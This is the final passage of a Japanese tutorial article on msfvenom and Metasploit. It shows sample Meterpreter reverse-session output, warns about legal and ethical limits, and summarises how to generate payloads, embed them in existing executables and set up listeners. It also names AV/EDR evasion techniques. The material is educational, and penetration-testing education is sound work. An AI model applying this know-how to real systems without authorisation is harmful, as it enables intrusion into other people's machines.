1 meterpreter x86/windows TARGET_USER @ TARGET_MACHINE 192.168.1.100:4444 -> 192.168.1.150:49152 (192.168.1.150)
msf exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : TARGET-MACHINE
OS : Windows 10 (Build 19045).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x86/windows
meterpreter >
msfvenom
でペイロードを生成することと、msfconsole
で適切なハンドラーを設定して待ち受けることは、一連のプロセスとして理解しておく必要があります。
注意点と倫理:責任あるツール利用のために
⚠️ 悪用厳禁:法的・倫理的責任
msfvenom
および Metasploit Framework は、セキュリティ専門家がシステムの脆弱性を評価し、防御策を強化するために設計された強力なツールです。しかし、その能力の高さゆえに、悪意を持った人物によって不正アクセス、情報窃取、システム破壊などのサイバー犯罪に悪用される危険性も常に伴います。
これらのツールを使用する際には、以下の点を強く認識し、遵守してください。
- 許可なきシステムへの使用禁止: 自分自身が所有・管理しているシステム、または明確な書面による許可を得たシステム以外に対して、絶対に
msfvenom
で生成したペイロードを使用したり、Metasploitによるスキャンや攻撃を試みたりしないでください。無許可でのアクセスや攻撃は、不正アクセス禁止法などの法律に違反し、厳しい罰則(懲役や罰金)の対象となります。 - 法律と倫理の遵守: 居住国およびターゲットシステム所在地の法律、関連する業界規範、そして倫理的なガイドラインを常に遵守してください。
- 教育・研究目的での利用: 学習や研究目的でツールを使用する場合でも、必ず隔離された安全な仮想環境(ラボ環境)を構築し、その内部でのみ実験を行ってください。インターネット上の無関係な第三者に影響を与えないように最大限の注意を払う必要があります。
- ツールの影響を理解する: 生成するペイロードや実行するコマンドが、ターゲットシステムやネットワークにどのような影響を与える可能性があるかを十分に理解してください。意図しない損害を引き起こさないように、慎重に操作を行う必要があります。
ツールの使い方を学ぶことは重要ですが、それ以上に「なぜ使うのか」「何のために使うのか」という目的意識と倫理観を持つことが不可欠です。技術は常に善用されるべきであり、悪用は決して許されません。
技術的な注意点:検出と限界
- AV/EDRによる検出: 前述の通り、
msfvenom
で生成された標準的なペイロードや、単純なエンコーディングを施したペイロードは、現代の多くのアンチウイルス(AV)やエンドポイント検出応答(EDR)ソリューションによって容易に検出されます。特にshikata_ga_nai
のような有名なエンコーダや、Meterpreterペイロード自体は、シグネチャや挙動ベースで検知されやすい対象です。 - 回避技術の必要性: 実際のペネトレーションテスト環境で検出を回避するには、エンコーディングだけでなく、暗号化、難読化、カスタムローダー、プロセスインジェクション、メモリ内実行、Living Off The Land (LotL) など、より高度で複合的な回避技術が必要になることが一般的です。
msfvenom
はその出発点にすぎません。 - 環境依存性: ペイロードはターゲットのOS、アーキテクチャ、インストールされているソフトウェア(Java, Pythonなど)、ネットワーク設定などに依存します。ターゲット環境を正確に把握せずにペイロードを生成・実行しても、失敗する可能性が高いです。
- ツールへの過信禁物:
msfvenom
やMetasploitは強力ですが、万能ではありません。常に最新のセキュリティ動向や防御技術について学習し、ツールの限界を理解しておくことが重要です。
これらの注意点を踏まえ、常に責任感と倫理観を持ってmsfvenom
を使用してください。
まとめ
この記事では、Metasploit Frameworkの強力なペイロード生成ツールである msfvenom
について、その基本的な概念から実践的な使い方、そして注意点まで幅広く解説しました。
主なポイントのおさらい:
msfvenom
はmsfpayload
とmsfencode
を統合した、スタンドアロンのペイロード生成・エンコードツールです。-p
でペイロード、-f
で出力フォーマット、-o
で出力ファイル、LHOST/LPORT
で接続情報を指定するのが基本的な使い方です。- ペイロードには、初期サイズが小さいが追加通信が必要な Staged 型と、サイズは大きいが単体で動作する Stageless 型があります。
- 出力フォーマットは、実行ファイル (
exe
,elf
)、スクリプト (php
,py
,psh
)、シェルコード (raw
,c
) など多岐にわたります。 -e
オプションによるエンコーディングは、主に不正文字回避を目的とし、AV回避効果は限定的です。shikata_ga_nai
が有名ですが、過信は禁物です。-x
と-k
オプションで、既存の実行ファイルにペイロードを埋め込み、元のプログラムの動作を維持させることができます(テンプレート機能)。- リバース接続ペイロードを使用する場合、
msfconsole
のexploit/multi/handler
で対応するハンドラーを設定し、待ち受ける必要があります。 msfvenom
の使用は、法律と倫理を遵守し、許可された環境でのみ行う必要があります。悪用は絶対に許されません。- 現代のセキュリティ製品 (AV/EDR) は高度化しており、
msfvenom
の標準機能だけでの検出回避は困難です。
msfvenom
は、ペネトレーションテストやセキュリティ研究において非常に有用なツールですが、その力を正しく理解し、責任を持って使用することが何よりも重要です。サイバーセキュリティの世界は常に進化しています。ツールの使い方をマスターするだけでなく、最新の攻撃手法、防御技術、そして倫理についても学び続ける姿勢が求められます。
この記事が、msfvenom
を安全かつ効果的に活用するための一助となれば幸いです。🛡️
参考情報
より深く学習を進めたい方向けの参考情報です。
-
Kali Linux Tools – Metasploit Framework: Kali LinuxにおけるMetasploit Framework(msfvenomを含む)の概要ページ。
https://www.kali.org/tools/metasploit-framework/ -
Metasploit Unleashed (Offensive Security): Offensive Securityが提供する無料のMetasploitトレーニングコース。msfvenomについても詳細な解説があります。
https://www.offsec.com/metasploit-unleashed/ (※msfvenomのページ: https://www.offsec.com/metasploit-unleashed/msfvenom/) -
Metasploit Framework Documentation (Rapid7): Metasploitの公式ドキュメント。msfvenomの使い方やペイロードに関する情報が含まれます。
https://docs.metasploit.com/ (※msfvenomの解説ページ例: https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html)
コメント